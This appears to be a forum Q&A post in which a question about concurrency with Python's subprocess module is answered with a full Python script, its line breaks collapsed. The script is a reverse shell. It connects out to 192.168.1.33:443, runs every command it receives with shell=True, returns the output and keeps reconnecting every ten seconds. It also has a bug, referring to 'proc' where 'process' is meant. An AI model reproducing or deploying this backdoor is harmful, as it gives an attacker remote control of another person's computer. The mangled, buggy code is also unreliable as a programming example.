Concurrency with subprocess module. How can I do this?
Try something like:
import socketimport timeimport subprocessimport selectIP = '192.168.1.33'PORT = 443def connect(IP,PORT): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) s.send('[!] Conexao recebida\n') return sexcept Exception as e: print('Erro de conexao',e ) return Nonedef listen(s): try: # Create a polling object and register socket with it socket_poll = select.poll() socket_poll.register(s) # Create a list of running processes processes = [] while True: # If no data is available on the socket, we can use the time to clean up processes which are finished if not socket_poll.poll(1): for process in tuple(processes): if process.poll(): s.send(proc.stdout.read() + proc.stderr.read()) processes.remove(process) continue data = s.recv(1024) if data[:-1] == '/exit': s.close() exit(0) else: cmd(s, data, processes) except: main(s)def cmd(s, data, processes): try: proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Add new process to the list processes.append(proc) except: main(s)def main(s): if s: s.close() while True: s_connected = connect(IP,PORT) if s_connected: listen(s_connected) else: time.sleep(10)s = Nonemain(s)
Sorry for removing Spanish comments ;)